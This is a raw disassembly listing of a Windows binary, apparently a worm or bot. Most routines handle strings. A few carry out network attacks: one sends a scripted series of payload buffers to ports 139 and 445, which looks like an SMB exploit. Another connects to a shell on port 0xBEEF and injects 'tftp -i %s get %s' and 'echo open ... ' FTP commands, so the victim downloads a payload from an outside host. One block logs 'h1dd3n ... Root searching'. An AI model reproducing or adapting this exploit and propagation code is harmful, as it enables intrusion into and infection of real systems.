		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_0]
		ja	short loc_4025A2
		call	sub_417720


loc_4025A2:				; CODE XREF: sub_40258B+10j
		cmp	[ebp+arg_0], 0
		jbe	short loc_4025DD
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_40270A
		test	al, al
		jz	short loc_4025DD
		movsx	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_40CC40
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_4025DD:				; CODE XREF: sub_40258B+1Bj
					; sub_40258B+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40258B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4025E5	proc near		; CODE XREF: sub_40215E+132p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_4]
		ja	short loc_4025FC
		call	sub_417720


loc_4025FC:				; CODE XREF: sub_4025E5+10j
		cmp	[ebp+arg_4], 0
		jbe	short loc_402635
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_40270A
		test	al, al
		jz	short loc_402635
		push	[ebp+arg_4]
		mov	eax, [esi+8]
		add	eax, [esi+4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr sub_40C820
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_402635:				; CODE XREF: sub_4025E5+1Bj
					; sub_4025E5+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_4025E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40263D	proc near		; CODE XREF: sub_40215E+179p
					; sub_41777A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_402655
		call	sub_41794C


loc_402655:				; CODE XREF: sub_40263D+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_402667
		mov	esi, [ebp+arg_8]


loc_402667:				; CODE XREF: sub_40263D+25j
		cmp	edi, ebx
		jnz	short loc_402685
		add	esi, ecx
		push	0FFFFFFFFh
		push	esi
		mov	ecx, edi
		call	sub_4027FD
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4027FD
		jmp	short loc_402701
; ---------------------------------------------------------------------------


loc_402685:				; CODE XREF: sub_40263D+2Cj
		test	esi, esi
		jbe	short loc_4026C8
		cmp	esi, eax
		jnz	short loc_4026C8
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_402699
		mov	eax, offset dword_418220


loc_402699:				; CODE XREF: sub_40263D+55j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4026C8
		push	1
		mov	ecx, edi
		call	sub_402790
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4026B4
		mov	eax, offset dword_418220


loc_4026B4:				; CODE XREF: sub_40263D+70j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_402701
; ---------------------------------------------------------------------------


loc_4026C8:				; CODE XREF: sub_40263D+4Aj
					; sub_40263D+4Ej ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40270A
		test	al, al
		jz	short loc_402701
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_4026E5
		mov	eax, offset dword_418220


loc_4026E5:				; CODE XREF: sub_40263D+A1j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	near ptr sub_40C820
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_402701:				; CODE XREF: sub_40263D+46j
					; sub_40263D+89j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40263D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40270A	proc near		; CODE XREF: sub_40215E+3Dp
					; sub_40258B+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40271C
		call	sub_417720


loc_40271C:				; CODE XREF: sub_40270A+Bj
		mov	eax, [esi+4]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_402744
		mov	cl, [eax-1]
		cmp	cl, dl
		jz	short loc_402744
		cmp	cl, 0FFh
		jz	short loc_402744
		cmp	edi, edx
		mov	ecx, esi
		jnz	short loc_402783
		dec	byte ptr [eax-1]
		push	edx


loc_40273B:				; CODE XREF: sub_40270A+48j
		call	sub_402790


loc_402740:				; CODE XREF: sub_40270A+4Cj
					; sub_40270A+53j
		xor	al, al
		jmp	short loc_40278B
; ---------------------------------------------------------------------------


loc_402744:				; CODE XREF: sub_40270A+19j
					; sub_40270A+20j ...
		cmp	edi, edx
		jnz	short loc_40275F
		cmp	[esp+8+arg_4], dl
		jz	short loc_402754
		push	1
		mov	ecx, esi
		jmp	short loc_40273B
; ---------------------------------------------------------------------------


loc_402754:				; CODE XREF: sub_40270A+42j
		cmp	eax, edx
		jz	short loc_402740
		mov	[esi+8], edx
		mov	[eax], dl
		jmp	short loc_402740
; ---------------------------------------------------------------------------


loc_40275F:				; CODE XREF: sub_40270A+3Cj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40277C
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_402771
		cmp	eax, edi
		jnb	short loc_402789


loc_402771:				; CODE XREF: sub_40270A+61j
		push	1
		mov	ecx, esi
		call	sub_402790
		jmp	short loc_402781
; ---------------------------------------------------------------------------


loc_40277C:				; CODE XREF: sub_40270A+59j
		cmp	[esi+0Ch], edi
		jnb	short loc_402789


loc_402781:				; CODE XREF: sub_40270A+70j
		mov	ecx, esi


loc_402783:				; CODE XREF: sub_40270A+2Bj
		push	edi
		call	sub_402864


loc_402789:				; CODE XREF: sub_40270A+65j
					; sub_40270A+75j
		mov	al, 1


loc_40278B:				; CODE XREF: sub_40270A+38j
		pop	edi
		pop	esi
		retn	8
sub_40270A	endp


; =============== S U B	R O U T	I N E =======================================



sub_402790	proc near		; CODE XREF: sub_40215E+1Fp
					; sub_40215E+16Bp ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_4027B8
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4027B8
		dec	eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4027B1
		cmp	cl, 0FFh
		jz	short loc_4027B1
		dec	byte ptr [eax]
		jmp	short loc_4027B8
; ---------------------------------------------------------------------------


loc_4027B1:				; CODE XREF: sub_402790+16j
					; sub_402790+1Bj
		push	eax
		call	sub_40D448
		pop	ecx


loc_4027B8:				; CODE XREF: sub_402790+8j
					; sub_402790+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_402790	endp


; =============== S U B	R O U T	I N E =======================================



sub_4027C8	proc near		; CODE XREF: sub_4023B8+136p
					; sub_402921+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_40270A
		test	al, al
		jz	short loc_4027F6
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	near ptr sub_40C820
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_4027F6:				; CODE XREF: sub_4027C8+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4027C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4027FD	proc near		; CODE XREF: sub_40263D+35p
					; sub_40263D+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_402810
		call	sub_41794C


loc_402810:				; CODE XREF: sub_4027FD+Cj
		mov	ecx, edi
		call	sub_402921
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_402826
		mov	ebx, eax


loc_402826:				; CODE XREF: sub_4027FD+25j
		test	ebx, ebx
		jbe	short loc_40285C
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_40D460
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40270A
		test	al, al
		jz	short loc_40285C
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40285C:				; CODE XREF: sub_4027FD+2Bj
					; sub_4027FD+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4027FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_402864	proc near		; CODE XREF: sub_40270A+7Ap
		mov	eax, offset loc_417C00
		call	sub_40D3D8
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40288A
		mov	edi, [ebp+8]


loc_40288A:				; CODE XREF: sub_402864+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_402897
		xor	eax, eax


loc_402897:				; CODE XREF: sub_402864+2Fj
		push	eax
		call	sub_40D795
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4028C8
; ---------------------------------------------------------------------------


loc_4028A3:				; DATA XREF: .nsp0:00418ECCo
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_4028B2
		xor	eax, eax


loc_4028B2:				; CODE XREF: sub_402864+4Aj
		push	eax
		call	sub_40D795
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_4028C2
		retn
; ---------------------------------------------------------------------------


loc_4028C2:				; DATA XREF: sub_402864+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_4028C8:				; CODE XREF: sub_402864+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4028E6
		cmp	eax, edi
		jbe	short loc_4028D5
		mov	eax, edi


loc_4028D5:				; CODE XREF: sub_402864+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	near ptr sub_40C820
		add	esp, 0Ch


loc_4028E6:				; CODE XREF: sub_402864+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_402790
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_402906
		mov	edi, ebx


loc_402906:				; CODE XREF: sub_402864+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_402864	endp


; =============== S U B	R O U T	I N E =======================================



sub_402921	proc near		; CODE XREF: sub_4027FD+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40294E
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40294E
		cmp	al, 0FFh
		jz	short loc_40294E
		push	1
		call	sub_402790
		push	esi
		call	sub_40CBC0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4027C8


loc_40294E:				; CODE XREF: sub_402921+9j
					; sub_402921+10j ...
		pop	edi
		pop	esi
		retn
sub_402921	endp


; =============== S U B	R O U T	I N E =======================================



sub_402951	proc near		; DATA XREF: .nsp0:0041A004o
		test	byte_4820AC, 1
		jnz	short loc_402961
		or	byte_4820AC, 1


loc_402961:				; CODE XREF: sub_402951+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_40D810
		pop	ecx
		retn
sub_402951	endp


; =============== S U B	R O U T	I N E =======================================



sub_402972	proc near		; CODE XREF: .nsp0:00402FA2p

var_230		= byte ptr -230h
var_210		= byte ptr -210h
var_1F0		= byte ptr -1F0h
var_1D0		= byte ptr -1D0h
var_1B0		= byte ptr -1B0h
var_190		= byte ptr -190h
var_170		= byte ptr -170h
var_150		= byte ptr -150h
var_130		= byte ptr -130h
var_110		= byte ptr -110h
var_F0		= byte ptr -0F0h
var_D0		= byte ptr -0D0h
var_B0		= byte ptr -0B0h
var_90		= byte ptr -90h
var_70		= byte ptr -70h
var_50		= byte ptr -50h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_10		= byte ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
arg_136F8	= byte ptr  136FCh
arg_13720	= dword	ptr  13724h
arg_13864	= byte ptr  13868h
arg_1388C	= byte ptr  13890h
arg_13924	= dword	ptr  13928h

		mov	eax, 13894h
		call	sub_40CCA0
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	2
		call	dword_4181B4	; socket
		mov	esi, eax
		lea	eax, [esp+1Ch+arg_1388C]
		push	eax
		mov	word ptr [esp+20h+var_8], 2
		call	dword_41819C	; inet_addr
		push	[esp+20h+arg_13924]
		mov	[esp+24h+var_8], eax
		call	dword_4181A0	; htons
		mov	[esp+24h+var_E], ax
		lea	eax, [esp+24h+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4181A4	; connect
		test	eax, eax
		jge	short loc_4029D3


loc_4029CC:				; CODE XREF: sub_402972+275j
		xor	eax, eax
		jmp	loc_402DFE
; ---------------------------------------------------------------------------


loc_4029D3:				; CODE XREF: sub_402972+58j
		lea	eax, [esp+30h+var_20]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	[esp+44h+var_20], 1388h
		call	dword_4181A8	; setsockopt
		lea	eax, [esp+44h+arg_13864]
		push	1
		push	eax
		call	sub_403CA3
		pop	ecx
		cmp	eax, 2
		pop	ecx
		jz	loc_402BEC
		cmp	eax, 1
		jz	loc_402BEC
		mov	ebx, dword_4181B8
		push	edi
		push	48h
		push	offset aB	; ""
		push	esi
		call	ebx	; send
		mov	ebp, dword_4181AC
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_41AA00
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_41AA60
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_41AB18
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_41AC10
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_41AC50
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_41ACB8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41AD50
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41AEB0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41B010
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_41B170
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_402DC7
		cmp	eax, 0FFFFFFFFh
		jz	loc_402DC7
		push	0
		push	15Bh
		push	offset dword_41AD50
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41AEB0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41B010
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_41B170
		push	esi
		call	ebx	; send
		push	1387Fh
		lea	eax, [esp+218h+var_1F0]
		push	0
		push	eax
		call	sub_40CC40
		add	esp, 0Ch


loc_402BB3:				; CODE XREF: sub_402972+450j
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_402DC7
		cmp	eax, 0FFFFFFFFh
		jz	loc_402DC7
		cmp	[esp+224h+arg_13720], 8Bh
		push	esi
		jnz	loc_402DC8
		call	dword_4181B0	; closesocket
		jmp	loc_4029CC
; ---------------------------------------------------------------------------


loc_402BEC:				; CODE XREF: sub_402972+95j
					; sub_402972+9Ej
		mov	ebx, dword_4181B8
		push	edi
		push	48h
		push	offset unk_41B1E0
		push	esi
		call	ebx	; send
		mov	ebp, dword_4181AC
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_41B230
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_41B290
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_41B348
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	66h
		push	offset dword_41B440
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_41B4A8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_41B4E8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_41B550
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41B5E8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41B748
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41B8A8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41BA08
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_41BB68
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_402DC7
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402DC7
		push	0
		push	15Bh
		push	offset dword_41B5E8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41B748
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41B8A8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+238h+var_210]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41BA08
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+258h+var_230]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_41BB68
		push	esi
		call	ebx	; send
		jmp	loc_402BB3
; ---------------------------------------------------------------------------


loc_402DC7:				; CODE XREF: sub_402972+1C4j
					; sub_402972+1CDj ...
		push	esi


loc_402DC8:				; CODE XREF: sub_402972+269j
		call	dword_4181B0	; closesocket
		push	7D0h
		call	dword_418040	; Sleep
		sub	esp, 0BCh
		lea	esi, [esp+268h+arg_136F8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402E09
		add	esp, 0BCh
		neg	eax
		sbb	eax, eax
		neg	eax


loc_402DFE:				; CODE XREF: sub_402972+5Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 13894h
		retn
sub_402972	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E09	proc near		; CODE XREF: sub_402972+47Bp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_42D8B4	; inet_addr
		push	0BEEFh
		mov	[ebp+var_C], eax
		call	dword_42D878	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_42D8F4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_402F41
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_42D824	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402F41
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_42D890	; recv
		mov	esi, offset byte_41DF08
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_4058DC
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_40D3F7
		add	esp, 18h
		push	esi
		push	esi
		push	dword_42D334
		push	[ebp+arg_0]
		call	sub_4058DC
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_40D3F7
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_42D8C4	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402F41
		push	1F4h
		call	dword_418040	; Sleep
		push	esi
		push	offset dword_41BC38
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_40D3F7
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_42D8C4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402F45


loc_402F41:				; CODE XREF: sub_402E09+4Fj
					; sub_402E09+65j ...
		xor	eax, eax
		jmp	short loc_402F64
; ---------------------------------------------------------------------------


loc_402F45:				; CODE XREF: sub_402E09+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_42D890	; recv
		push	ebx
		call	dword_42D90C	; closesocket
		xor	eax, eax
		inc	eax


loc_402F64:				; CODE XREF: sub_402E09+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402E09	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		xor	esi, esi
		cmp	dword ptr [ebp+0A8h], 8Bh
		push	edi
		jz	short loc_402F92
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	loc_403017


loc_402F92:				; CODE XREF: .nsp0:00402F80j
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402972
		mov	esi, eax
		add	esp, 0BCh
		test	esi, esi
		jz	short loc_403017
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset word_41A04A
		push	eax
		push	offset aH1dd3nS__RootS ; "h1dd3n (%s) ..  Root searching %s"
		lea	eax, [ebp-200h]
		push	200h
		push	eax
		call	sub_40D3F7
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_404555
		lea	eax, [ebp-200h]
		push	eax
		call	sub_403145
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		lea	eax, dword_41A070[eax]
		inc	dword ptr [eax]


loc_403017:				; CODE XREF: .nsp0:00402F8Cj
					; .nsp0:00402FB1j
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40301D	proc near		; CODE XREF: sub_403E11+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_40CB5F
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_418228
		call	sub_40CF0C
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40301D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40304D	proc near		; CODE XREF: sub_4077FD+2901p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_42E688
		mov	edi, 0B8h


loc_403061:				; CODE XREF: sub_40304D+33j
		cmp	byte ptr [esi],	0
		jz	short loc_403084
		push	[ebp+arg_0]
		push	esi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403084
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_42F208
		jl	short loc_403061
		jmp	short loc_4030C6
; ---------------------------------------------------------------------------


loc_403084:				; CODE XREF: sub_40304D+17j
					; sub_40304D+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_42E688[esi]
		push	ebx
		call	sub_40CC40
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_40C720
		push	9Fh
		lea	eax, dword_42E6A0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_40C720
		add	esp, 24h
		inc	dword_41E170
		pop	ebx


loc_4030C6:				; CODE XREF: sub_40304D+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40304D	endp


